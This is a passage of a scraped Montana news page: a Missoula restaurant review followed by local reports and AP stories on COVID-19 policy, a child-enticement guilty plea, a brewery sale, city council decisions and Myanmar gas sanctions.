(marinated flank steak), in addition to other choices. Along with the traditional ways of preparing Mexican food at The Camino, this restaurant offers a wealth of creativeness with the drinks. The bar features about 50 varieties of tequila and mezcal. The bartender explained that tequila is made from only the blue weber agave plant, while mezcal can be made from over 50 different species and varietals of agave. I opted for a "Coyote" during happy hour, as it featured hibiscus tea, along with tequila, lime, agave and orange bitters. Dried hibiscus flowers play a significant role in Mexico, both to flavor water and used for craft teas. The dried blooms are also used in Mexican cooking for the tartness they add to Mexican dishes. The cocktail menu at The Camino was intriguing, and I can only imagine how much fun the staff was having dreaming up names for the various concoctions. The drink, "Gradually Then Suddenly," is a mix of clear rum maraschino, grapefruit and lime and is Schaefers spin on a classic Hemingway daiquiri. "Winter in the Blood" features Sudden Wisdom Rye from Montgomery Distillery, Aperol, grapefruit, lime and agave. Next time Ill try "2 for Flinching" (Sombra, guava, lime, agave, Peychaud, Camino spice). Happy hour at The Camino goes from 3 to 5 p.m., Tuesday through Sunday, then the dinner hour kicks in until 10 p.m. Saturday and Sunday feature brunch from 11 a.m. to 2 p.m. Menus are printed in-house every day, reflecting availability and incorporating seasonality, as many of their dishes lean on what is currently fresh and invigorating. The name The Camino, with its meaning of the way or path, perfectly describes Tad and Philips endeavors. This duo set out on a diligent journey to create exceptional Mexican cuisine that has been very successful, judging from how quickly the restaurant filled up and our personal take on the food. About 40% of their food sources are imported from Mexico, including beans, syrups, spices and dried hibiscus, which adds another dimension to the complexity of this cuisine. Tad and Philip, both down-to-earth visionaries, continue to tweak the menu and drinks. As Philip describes it, were on our own playful adventure. When Missoula calls for a road trip, well be back to see whats new at The Camino. Donnie Sexton, who retired in 2016 after a long career with the Montana Office of Tourism, currently freelances as a travel writer and photographer, covering destinations around the world. TheLastBestPlates.com is a digital destination that serves up Montana's tasty food, travel and culture stories one bite at a time. You must be logged in to react. Click any reaction to login. Love 4 Funny 1 Wow 0 Sad 0 Angry 0 BRUSSELS (AP) European Commission President Ursula von der Leyen said Wednesday that omicron is expected to be the dominant coronavirus variant in the 27-nation bloc by mid-January, amid concerns that a dramatic rise of in infections will leave Europe shrouded in gloom during the festive season. The head of the EUs executive branch, however, said that the bloc is well prepared to fight omicron, with 66.6% of the European population now fully vaccinated against the virus. Von der Leyen said she is confident the EU has the strength and means to overcome the disease, although expressing her disappointment that once again year-end celebrations will be disturbed by the pandemic. Like many of you, I'm sad that once again this Christmas will be overshadowed by the pandemic," she said. The alarming rise of new infections has prompted the implementations of further restrictions across Europe. The decision this week by Italy to require negative tests from vaccinated visitors has also raised concerns that such moves will limit free movement at a time when many EU citizens travel to see their relatives and loved ones. Portugal adopted a similar measure on December 1, requiring a mandatory negative test for all flights arriving in Portugal, even for people with health passes and regardless of their point of origin or nationality. Von der Leyen added that the EU is now facing a double challenge, with a massive increase of cases in recent weeks due to the delta variant combined with the rise of omicron, as some member countries are already confronted with a record number of infections. We're seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately an increase in the number of deaths," she told European lawmakers ahead of Thursday's meeting of EU leaders in Brussels. Von der Leyen insisted that the increase in infections remains due almost exclusively" to the delta variant. And what I'm concerned about is that we now seeing the new variant omicron on the horizon, which is apparently even more infectious." In Britain, omicron cases are doubling every two to three days and von der Leyen said the new variant seems to be spreading at the same rate in the EU. According to an analysis Tuesday of data from South Africa, where the new variant is driving a surge in infections, omicron seems to be more easily spread from person to person and better at evading vaccines, but also milder. Thanks to the high rate of vaccination in the bloc and the availability of vaccine doses, von der Leyen said that Europe is now in a better position to fight the virus. She said that more than 300 million people in the EU have been fully vaccinated and that 62 million people have gotten a booster jab. She said 300 million vaccine doses per month can be produced in Europe, and it would take around 100 days to adapt the current coronavirus vaccines to omicron if needed. Initial data from omicron shows us that this triple jab is the best protection against the new variant," she said. She also said it worth fighting vaccine skepticism, especially in member states lagging behind in their vaccination rates Because the price that we will pay if people are not vaccinated continues to increase," she said. "Its also a problem for our elderly citizens who once again this Christmas cant see their grandchildren. And its also a problem for those children who once again cant go to school. What kind of a life is that?" Echoing von der Leyen's comments, German Chancellor Olaf Scholz vowed Wednesday that his new government will do everything for Germany to overcome the coronavirus pandemic and let people return to their normal lives. "We have no time to waste, said Scholz, who took office as Germany grapples with its biggest wave of infections during the pandemic to date. Scholz also said that the government wont tolerate a tiny minority of extremists trying to impose their will against coronavirus policies. As governments brace for the holiday season, Greece and a handful of other European Union countries began vaccinating children aged 5-11 on Wednesday against COVID-19. Italy, Spain and Hungary were also among those countries expanding the vaccination program to younger children as national agencies formally back the EU regulators approval last month of the reduced-dose vaccine made by Pfizer-BioNTech. Raf Casert in Brussels and Geir Moulson in Berlin contributed to this story. Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. ANNAPOLIS, Md. (AP) Maryland Gov. Larry Hogan announced additional actions Wednesday to prepare for a further surge in COVID-19 amid rising hospitalizations. The Maryland Health Department and other state agencies have been working daily with Marylands hospitals and the Maryland Hospital Association to ensure patient bed capacity since November. State agencies have been meeting weekly with hospital leadership to elevate topics of concern, the governor's office said. As I announced last week, we are continuing to closely monitor the rise in COVID-19 hospitalizations and use every tool at our disposal to make sure our hospitals have the resources they need to prepare for this and future surges, Hogan said, while urging residents to get vaccinated or get a booster shot. On Wednesday, Maryland reported there were 1,151 hospitalizations in the state. While that was down 22 from the previous day, the number of hospitalizations in Maryland have more than doubled in the past month. A month ago, there were 508 hospitalizations in the state. The health department was hit by a cyberattack earlier this month, and its website showing data on COVID-19 has been limited in its daily updates. It has resumed updates for vaccinations and hospitalizations. As part of the actions announced by the governor Wednesday, Maryland has created a Surge Operation Center to manage the states daily operations surrounding a sustained COVID-19 surge at hospitals, including a potential sudden influx of unvaccinated patients, the governor said. State health officials also have issued a new directive ordering hospitals to undertake actions when certain state COVID-19 hospitalization thresholds are reached. For example, when Maryland reaches 1,200 hospitalizations, hospitals have been ordered to make available all staffed bed capacity and to reduce scheduling non-urgent medical surgeries that would result in an overnight stay. At 1,500, hospitals are directed to implement their pandemic plans. Hospitals have been directed to immediately update their existing pandemic plans. The governor also announced steps to address healthcare staffing needs. State health officials are working with state boards to advance emergency regulations to enhance healthcare staffing at hospitals. Follow APs coverage of the pandemic at https://apnews.com/hub/coronavirus-pandemic. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. SPRINGFIELD, Ill. (AP) Illinois state Comptroller Susana Mendoza was among eight state financial officers on Monday urging the Treasury Department to reinstate interest-payment waivers on tens of billions of dollars loaned to states for unemployment rolls that exploded upon the debut of the COVID-19 pandemic. Mendoza, a Democrat, was the lead signatory on a letter sent to Treasury Secretary Janet Yellen maintaining that the waiver's Sept. 6 expiration has added to the burden states face in determining how to pay back more than $39 billion loaned since the tragic early days of the pandemic, when many states virtually shut down, putting hundreds of thousands of out work. Taxpayers should not be on the hook for interest just because the pandemic is lasting longer than projected, Mendoza said. States are wrestling with how best to replenish their COVID-depleted unemployment funds and they should not have to do that with the meter running. Illinois must repay $4.5 billion the federal government has advanced since early 2020 for skyrocketing unemployment benefits. But with the waiver's sunset in September, Illinois has accrued $26.7 million in interest, of which $6.3 million has been paid. Interest must be reimbursed by Sept. 30, 2022, and could end up setting the state back $100 million. Joining Mendoza in signing the letter were the chief financial officers of Colorado, Connecticut, New Jersey, New York, Massachusetts, Minnesota and Pennsylvania. All are run by Democratic governors except for Massachusetts, but a news release from Mendoza indicated she convened leaders of the hardest-hit states representing 75 million residents. In the letter, the group maintains that the waiver deadline was originally determined under the assumption that the pandemic would likely be over and that the economy and state governments would be in recovery mode. However, it is quite plain to see that this public health crisis is not over, and the benefit provided by this interest waiver is still necessary. The main irritant in facing renewed interest is that most states are still trying to determine how to repay billions of dollars in principal. The federal government prohibits repayment from the states' ordinary unemployment trust funds, which are subsidized by an assessment on employers. So they must find other parts of their budgets to squeeze out the debt. Follow Political Writer John OConnor at https://twitter.com/apoconnor Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. LANSING, Mich. (AP) Michigan lawmakers late Tuesday approved an additional $841 million in spending, primarily on pandemic relief, including for coronavirus testing at schools and emergency assistance to help low-income renters. The supplemental funding was passed on 94-9 and 35-1 votes in the House and Senate as the state grapples with one of the country's highest COVID-19 infection rates and record-high hospitalizations. Gov. Gretchen Whitmer will sign it. The bill, which legislators advanced on their final day of voting for the year, includes $736 million in nondiscretionary federal pandemic aid that Congress passed in March and last December. Of that, $150 million will go to schools to help them screen and test for the virus, which was half of the amount Whitmer sought. Another $168 million will go toward relief for airports, and $140 million will go toward emergency rental aid. If we dont get that testing money out the door right now, schools are going to be in real trouble. If we want to continue in-person learning, the only way to do that is to have proper testing and proper contact tracing, said Sen. Curtis Hertel Jr. of East Lansing, the top Democrat on the Senate budget panel. Federal funds would also go toward a range of areas, including genomic sequencing to identify variants, curbing the virus inside prisons, fighting substance abuse, and supporting strike teams to help with onsite testing at nursing homes and other long-term care facilities. The legislation includes $36 million in state funding to address the water crisis in Benton Harbor, where the supply is contaminated with lead, and $9 million to support the North American International Auto Show in Detroit. It was canceled in 2020 due to the pandemic and replaced this year with an outdoor event. The remaining $150 million in testing money for schools is included in a separate $1 billion-plus COVID-19 spending bill that the House passed 98-4 on Tuesday but that the Senate will not consider until next year. House Appropriations Committee Chairman Thomas Albert, a Lowell Republican, said he decided not to allocate all $300 million for schools now because of problems when the Michigan National Guard inadvertently confiscated testing kits from a K-12 district in his area to redistribute to other districts. It was just a bad process. I think we have a better one here, he said, pointing to a new method and saying $150 million is enough to give us some running room to figure that out." The House bill that was sent to the Senate for future consideration would provide funding to help hospitals recruit and retain workers amid a shortage, continue testing aid, and boost early treatment of patients with monoclonal antibodies and other pending medicines such as antiviral pills. Republicans rejected Democratic-proposed amendments that would give pandemic frontline workers $2,500 bonuses and nurses $5,000 bonuses, and up to $30,000 hero scholarships to people who earn health care degrees or certificates and commit to working in the state for at least four years. Rep. Mary Whiteford, a Republican from Allegan County's Casco Township, said her husband nearly died from COVID-19 in April but got better after receiving antibody infusions. COVID is a terrible disease for so many of our Michiganders, she said while speaking in support of the measure going to the Democratic governor. Its past time that we get in front of this with early treatment. Working together is the best thing that we can do. Whitmer said in a statement that her administration and legislators found common ground to help keep kids safe and learning in school, protect seniors in nursing homes and get vaccines out the door even faster. Democrats had been urging GOP lawmakers to release additional federal coronavirus funds, particularly those that were enacted nearly a year ago. I will analyze the legislation with key members of my administration, and I look forward to signing the supplemental soon, Whitmer said. Follow David Eggert at https://twitter.com/DavidEggert00 Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. EAGAN, Minn. (AP) The Minnesota Vikings placed wide receiver/punt returner Dede Westbrook on the COVID-19 reserve list on Tuesday, another hit to their skill position depth on offense amid a spike in positive tests across the NFL. Running back Alexander Mattison and wide receiver/special teams ace Dan Chisena went on the COVID-19 reserve list the previous day. The Vikings claimed running back Wayne Gallman off waivers from the Atlanta Falcons for a reinforcement. Standout wide receiver Adam Thielen missed Minnesota's most recent game with a sprained ankle, and it's unclear when he'll be back on the field. The Vikings have also put three practice squad players and injured defensive end Danielle Hunter who's on injured reserve and not on the active roster on the COVID-19 reserve list this week. That brings their total to 16 different players who've been shelved by virus protocols in less than six weeks, nine of whom have returned. The Vikings play at Chicago on Monday night. The Bears placed nose tackle Eddie Goldman and cornerback Artie Burns on the COVID-19 reserve list on Tuesday and currently have five players sidelined for virus protocols. More AP NFL coverage: https://apnews.com/hub/NFL and https://twitter.com/AP_NFL Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. WORCESTER, Mass. (AP) Worcester has become the latest local community in Massachusetts to have banned the use of facial recognition technology by its city government. The Worcester City Council voted Tuesday night to prohibit city departments from acquiring or using the technology. Critics say facial recognition systems have the potential to violate personal privacy and are more likely to err when identifying people with darker skin. Facial recognition technology is found to misidentify suspects and does so disproportionately," said City Councilor Krystian King said in a statement reported by The Telegram & Gazette. "Black women are often mislabeled as men and Black men are often misidentified as being a threat risk. A growing number of cities and towns across the country are considering similar restrictions. In Massachusetts, Boston, Somerville and Springfield are among the cities that have already banned the technology. Several states are also looking at bans. The American Civil Liberties Union-Massachusetts has pushed for statewide legislation to regulate how local governments may use the technology. The group hailed Worcester's decision in a statement that noted more than 1.5 million residents in Massachusetts are now protected by a municipal facial recognition ban. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 An Anaconda man admitted Tuesday in federal court that he attempted to try to meet a teenage girl in Missoula and entice her into sexual activity last summer. Terry Joseph Jette, 56, pleaded guilty to attempted coercion and enticement, according to a news release from the U.S. Attorneys Office. He faces a mandatory minimum 10 years to life in prison, a $250,000 fine and at least five years to a lifetime of supervised release. On June 21, Jette started messaging a 13-year-old girl on Instagram who was actually an undercover FBI agent, according to government documents. He was made aware of her age when the conversation started. Jette continued online communication until his arrest on July 9. During their communications, Jette sent an image of his genitals and requested nude images in return. He also initiated sexually explicit conversations, suggested a meeting and discussed bringing methamphetamine and condoms. On July 8, Jette traveled from Anaconda to Missoula to meet the fictional girl, asking her to sneak out of her home. He was told she was unable to meet that day, and he then suggested they spend time together the following day in East Missoula, and again made statements about having sex with her and using meth. Jette was arrested at the predetermined meeting location the following day. During a search of his vehicle, law enforcement found a condom, meth, Viagra and candy that the fictional girl had told Jette she liked during their messaging, court documents said. U.S. Magistrate Judge Kathleen L. DeSoto presided at Tuesday's hearing. Sentencing was set for March 30, 2022, before U.S. District Judge Dana L. Christensen. Jette was detained pending further proceedings. Assistant U.S. Attorney Cyndee L. Peterson is prosecuting the case, which was investigated by the FBIs Child Exploitation and Human Trafficking Task Force, the Montana Internet Crimes Against Children Task Force and the Missoula County Sheriffs Office. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 7 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. After almost seven years in business, 4,004 community events hosted and roughly 5,000 barrels of beer produced, the owners of Imagine Nation Brewing in Missoula are looking for someone to take the business to the next level. Robert Rivers and Fernanda Krum say they hope to return to their original professions in humanitarian work. "I think for a couple of years, we've been discerning about returning to our real work," Rivers explained. "Fernanda's a trauma psychologist and I'm a peace-building specialist. And so before Imagine Nation, we've worked in conflict zones for about 15 years in those capacities." And because their brewery has become so successful, they've found themselves spending much of their time focused on the business and have felt increasingly distant from their original vocations. "We found ourselves more in the roles of running a business and ultimately we're not business people," Rivers said. "Now is a good time because the business is in a really good place to find that wonderful business person who's out there, who has I think more capital and also more energy to take the business to the next stage." Rivers and Krum say Imagine Nation Brewing is ready for evolution. "It's ready to be scaled up," Rivers said. "But right now we find ourselves in a place where the whispers are calling us back to conflict zones and to work with people affected by violence." Their vision when they opened the brewery in 2015 was to be able to have time to travel to conflict zones, but the demands of the brewery and the growing customer base have kept them too busy, Krum said. Because the brewery's beer is so highly sought-after by out-of-state businesses, they're now delivering cans to places like Colorado and Idaho and the West Coast more than ever before. "There's a lot of good potential for the brand to expand beyond Montana," she said. "We realize that if we stay we would need to keep investing our time in that route and that would probably take us five more years or something. We have been feeling more and more the need to have the time in our lives to do our own careers." Krum and Rivers say they've accomplished all the goals they originally set out to do in their business plan they wrote with their financial supporters in 2015. They've hosted thousands of community events, partnered with nonprofits and donated a portion of their profits to local organizations. "This space became a space that fosters social change that is nonpartisan and welcome to all walks of life," Krum said. "And people can sit down and share and connect and try to do things together." Rivers noted that they set out to create the country's first combination of a brewery and a center for community transformation. "And I think that by the sheer number of events that we've been able to house and by supporting over 500 nonprofits, honestly I feel like the Missoula community bought into the idea and used this space as a platform to raise awareness to their own work," he said. Krum said they achieved their goal of making world-class beers that are now in demand all over the region. She also fondly remembers how the brewery was featured on "Good Morning America" when they used the space to hire workers to create 350,000 face shields during the pandemic. They're not shutting down and will keep serving beer until a buyer is ready to move the business forward. Krum and Rivers said they can be available to help a prospective buyer transition into running the brewery. They both said they hope they find someone who has similar values and will build on the groundwork they've laid. The list price for the brewery is $2,775,000 and includes a half-acre lot and the 5,445-square-foot building. Andrew Squires of Engel & Volkers Western Frontier Missoula is the real estate broker for the sellers. Krum and Rivers said they've had a lot of conversations with their loyal customers and are ready to explain their motivation to anyone who has questions. They both look back on the last seven years fondly. "Honestly for me, I feel like the greatest success is the fact that we've been able to stand alongside this community and try to push forward a constructive vision that hopefully got us all a little bit more closer to a more sustainable and inclusive community," Rivers said. You must be logged in to react. Click any reaction to login. Love 1 Funny 3 Wow 1 Sad 3 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Missoula City Council made several big decisions Monday during its last meeting of 2021, including increasing water rates The council also said goodbye to four of its members Jesse Ramos, Heather Harp, Bryan von Lossberg and Julie Merritt. New councilors Jennifer Savage, Daniel Carlino, Mike Nugent and Kristen Jordan will be welcomed after the new year. The new water, sewer and stormwater rates, approved by a 9-2 vote with one absence, go into effect on Jan. 1. The combined impact on an average residential customer's monthly bill will be $2.92 more in 2022, $4.11 in 2023 and $4.40 in 2024, according to city documents. The rates will increase incrementally until 2024. Water rates are lower than they were in 2011, while consumer wastewater fees have not increased since 2015, city officials said. "For many, this will be challenging," councilor Mirtha Becerra said. "However this has to be balanced with the quality of services we've come to expect. We need to be able to do years, if not decades of deferred maintenance on the system." The water system needs $36.7 million for capital projects, while that number is $11.2 million for sewer and $4.1 million for stormwater, a city presentation stated last month. City officials pointed out that there are avenues for low-income individuals to receive help with their water bills. One such program through the American Rescue Plan Act is called the Low Income Household Water Assistance Program. Applications for that go through the Human Resource Council. Councilors Ramos and Sandra Vasecka voted against the water rate increases. Both have been critical of the city's acquisition of the water system and have made a point to vote against any city dollars going toward the legal bills that have stemmed from that purchase. West Broadway community master plan A new master plan for a 15-acre area off West Broadway was approved by a unanimous vote among those present on Monday. The area borders California Street to the east, with Cedar Street cutting through the middle of the proposed redevelopment. The plan looks to add housing, retail and restaurants. It calls for up to 30,000 square feet of leasable space for retail and restaurants, up to 15,000 square feet of office space and perhaps as many as 200 housing units. Of those housing units, between 50 to 70 would be considered affordable. The rest would be market-rate townhomes and apartments. The West Broadway plan is the result of an 18-month project by the Missoula Redevelopment Agency. It also seeks to increase river access and provide greenspace throughout the area. The idea is to create a new main street and public square that draws comparisons to the Hip Strip. The plan also puts value on retaining existing local businesses in the area, as well as historic buildings. There are provisions in the plan to make it walkable and bikeable, and include connections to the Westside Neighborhood. It was met with significant support from the Northside-Westside Crew Neighborhood group, as well as the North Missoula Community Development Corporation. "The city of Missoula owns a significant amount of land within (this area) and we have a lot of opportunity to use that land that we have banked to beneficial ends, for the creation of housing, to meet other community priorities," councilor Jordan Hess said. "The plan was thoughtful." Saying goodbye Mayor John Engen took time at the end of Monday's meeting to thank the departing members of council for their time and service. He started with Merritt, saying, "I am grateful to you for your tenacity and compassion and representing a neighborhood that has seen dramatic change and being willing to accept that change, but always pushing for that change to be as positive as it can possibly be." On Ramos, Engen said. "You have been a combination of an enormous pain in my derriere as well as someone who has challenged me to think different about the way we do business ... I've seen you mature as a human being and as a public servant and I am grateful to you and hope that you continue raising hell as you march through the journey that is life." He also spoke about Harp, saying, "I'm grateful to you for your vulnerability, your capacity to wear your heart on your sleeve and let us know exactly what you're thinking at all times. In doing so, I think you certainly gave me, and I suspect your colleagues, pause and thinking about your approach to challenging problems in our community." Lastly, on von Lossberg, he said, "(You have served) as this body's president as a function of formality, but I think to a great degree have served as its heart and soul as a function of humanity and human decency. The level of courage and compassion that you brought to your service at the city of Missoula is potent." Von Lossberg has served since 2014, while Ramos, Harp and Merritt were elected in 2017 and began serving in 2018. Jordan Hansen covers news and local government for the Missoulian. Shout at him on Twitter @jordyhansen or send him an email at Jordan.Hansen@Missoulian.com You must be logged in to react. Click any reaction to login. Love 0 Funny 2 Wow 1 Sad 1 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She and her parents had long worked for Total Energies, the French company that operates a lucrative gas field off the coast of southern Myanmar with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Total gas field, known as Yadana. As military abuses such as the murder and detention of thousands have grown, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman chanted slogans outside Total's offices, and later protested the military's takeover. She said she has since lost her job, and was thrown into prison for three weeks. We had a good relationship and good memories of Total, said the young woman, whose name, like those of other Myanmar gas workers in this story, is being withheld by The Associated Press for their safety. Total has taken a lot from Myanmar....so they should at least help Myanmar with a little bit of effort during such a bloody period in our country. In recent months, the Myanmar publics cries for sanctions on gas revenues have grown thunderous. In August, activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. Others posted photos of themselves on social media holding signs that targeted the gas companies at the center of the debate: Total, Chevron Stop accessory to murder. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, 540 civil society organizations in Myanmar joined international colleagues in sending a letter to CEO Patrick Pouyanne asking Total to put an end to its complicity in crimes against humanity by making payments to a holding account. The letter argued that Total is violating local laws against misappropriating public money and has placed itself on the side of the junta. The AP also obtained a copy of a letter from workers at Yadana to their managers earlier this year calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military, place the funds in a protected account and freeze income tax. We are specifically concerned that the profits gained from Yadana Project, which we are working for, will, one way or another, help fund the military juntas violent repression of Myanmar people, the letter said. Total and Chevron say they condemn human rights abuses, but also want to prevent further harm to the people of Myanmar by cutting off electricity. In addition, Total said it is wary of putting its local employees in danger of reprisals from the military, including forced labor. Meanwhile, tolerance on the ground for global inaction has worn thin. Local armed groups, referred to as People's Defense Forces, have targeted bill collectors for the national utility and sabotaged buildings and infrastructure, according to EarthRights International, which works on environmental and human rights issues in Myanmar. Pro-sanctions activists do not want to shut down the gas field itself. Instead, they want to sanction the projects revenues and place them in a protected offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. Gas from Yadana is piped to Myanmar and neighboring Thailand. Total cancelled exploration for new deposits in Myanmar after the military takeover. But it argues that it has to pay taxes and respect its contracts under the law, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. Several smaller offshore gas fields also operate in Myanmars waters, run by companies from Thailand, Japan, Malaysia, India and South Korea in partnership with MOGE. And China is an investor in the pipeline that delivers the gas to the country. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline is particularly important, earning around $400 million in revenues in 2017-2018. Yet despite the growing calls for action, neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. The current sanctions from the U.S. and European Union lean heavily on gemstones. The U.S. State Department did not directly address APs questions about why it has yet to impose sanctions on MOGE. Instead, the department pointed to a list of other people and entities the U.S. has already sanctioned, including several military officials and their family members, two army units believed responsible for a litany of atrocities, the militarys two largest holding companies and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. He did not mention oil and gas sanctions. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. Despite that, a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Activists have accused Singapore's banks of holding assets on the Myanmar military's behalf, although its central bank has said regular surveillance showed Myanmar companies and citizens did not have significant funds in the city state. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying areas of focus. It certainly seems in the U.S. there is a major lobbying campaign going on from Chevron to try and protect its interests, said Chris Sidoti, a human rights lawyer and a member of the U.N. Fact Finding Mission on Myanmar from 2017 to 2019. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government also said it wants to avoid adding to the burdens of Myanmar civilians through sanctions and aims to target individuals from the junta rather than a vital economic sector. France wants to avoid normalizing relations with the junta but also wants to stay involved on the ground for humanitarian reasons, which requires operational contacts with Myanmar's administration, according to a senior official in the French president's office. He described the French government's thinking on condition of anonymity. He said Total's activities in Myanmar, including how it carries out payment for the gas, are the company's responsibility. Both the French government and Total want a return to a democratically elected government, but at the same time you have to take into account the reality on the ground," he said. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. MOGE can be targeted for sanctions without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. The people of Myanmar are not calling for anything that they, themselves, are unwilling to do, Andrews said in an e-mail to the AP. But the fact remains that to be truly effective, the people of Myanmar need countries to join them and impose sanctions on MOGE. Last month, the National Unity Government, an underground opposition group and parallel administration, released a public statement that dubbed MOGE the militarys most important financial lifeline and called for urgent sanctions. As a nation, we have these natural resources to build a school, to build a hospital, to build a road, said spokesman Dr. Sasa, who goes by one name. So why are we still using this money to kill the people of Myanmar? To us, it is barbarity. In response to questions, the military said state revenue is used for education, infrastructure, development projects and public service, and is also used proportionately for the rule of law and for defense. The military has long denied allegations of human rights abuses. All state revenue is spent according to the needs of the country, the military said in a statement to the AP. "Putting restrictions on the current government is directly affecting the social and economic life of the citizens. The Yadana project provides less than 1.5 percent of Chevrons worldwide natural gas output, and Total says Yadana represents less than 1 percent of its production. But while Yadana isnt a significant source of income, it also doesnt cost the companies much because major set-up fees were incurred decades ago, said Readul Islam, a Singapore-based research analyst at Rystad Energy. Chevron and Total would also struggle to sell the operation, given the remaining short life of the aging gas field and the grim political situation, he said. These operations are not company-makers by any sense, but they are profitable," Islam said. Also, Chevron and Totals aversion to sanctions may be less about money than about precedent, said John Sifton, Asia advocacy director at Human Rights Watch. If you signal that every time a country has serious human rights abuses, Human Rights Watch and other groups can come in and say, You should sanction your revenue, its going to create business headaches for them all over the world, he said. With public pressure mounting, Total and Chevron announced in May that they were suspending dividend payments by the Moattama Gas Transportation Company, which owns the Yadana pipeline. While welcoming the move as a first step, activists argue the dividend payments are a fraction of the militarys gas revenues. The energy analytics firm Wood Mackenzie in November downgraded its forecast of Myanmar gas exports to Thailand after Yadanas output fell faster than expected. Rights activists said Thai fears of a gas slowdown or cutoff at a time of surging prices across Asia have stiffened its resistance to new sanctions, which the U.S. and EU appeared reluctant to challenge. The Thai government did not respond with comment. In Myanmar, some gas workers have dismissed the energy companies concerns that they will face retaliation with sanctions, arguing the entire country is already oppressed. One 10-year employee of Total said the risk of losing his job due to sanctions was nothing compared to the risk of the generals remaining in power. Everyone needs a job, he said. But I dont want to survive by working here while everyone is suffering from this crisis. Given he and millions of others already have risked so much in the pursuit of democracy, he is frustrated with the international communitys failure to act. I dont understand why they keep paying the junta, he said. After the young woman whose family had long worked for Total protested outside its gates, the contractor company that hired her warned her not to participate again in the countrys pro-democracy Civil Disobedience Movement, she said. A few months later, she posted on social media about what she felt was Totals poor treatment of a colleague who died of COVID-19. Days later, she said, the contractor company fired her for allegedly defaming Total. In a statement, Total said that no Total E&P employees have been fired since the military's takeover, and none have been prevented from participating in the Civil Disobedience Movement. In September, she was arrested and imprisoned for three weeks under Section 505(A) of the Penal Code, which, in part, criminalizes comments that cause fear or spread false news. I feel very disappointed in Total because they are neglecting this country in which they invested, she said. For another Total employee, the lack of action from those who claim to stand for human rights is baffling. Why, he asked, hasnt the international community told gas companies that if they do business with the military, they can no longer do business with the rest of the world? For him, the solution to military abuse is simple. If they do not have revenue, they cannot buy weapons, he says. If they cannot buy weapons, this revolution will end quickly. Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok contributed to this report. Correspondents Matt Lee and Ben Fox contributed from Washington, D.C. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 For the second time in two years, a proposal to restrict motorboat use on the Boulder River in Sweet Grass County will work its way through the Fish, Wildlife & Parks rulemaking process. This time, however, the proposal is to allow boats with up to 10 horsepower motors to use the river from its confluence with the 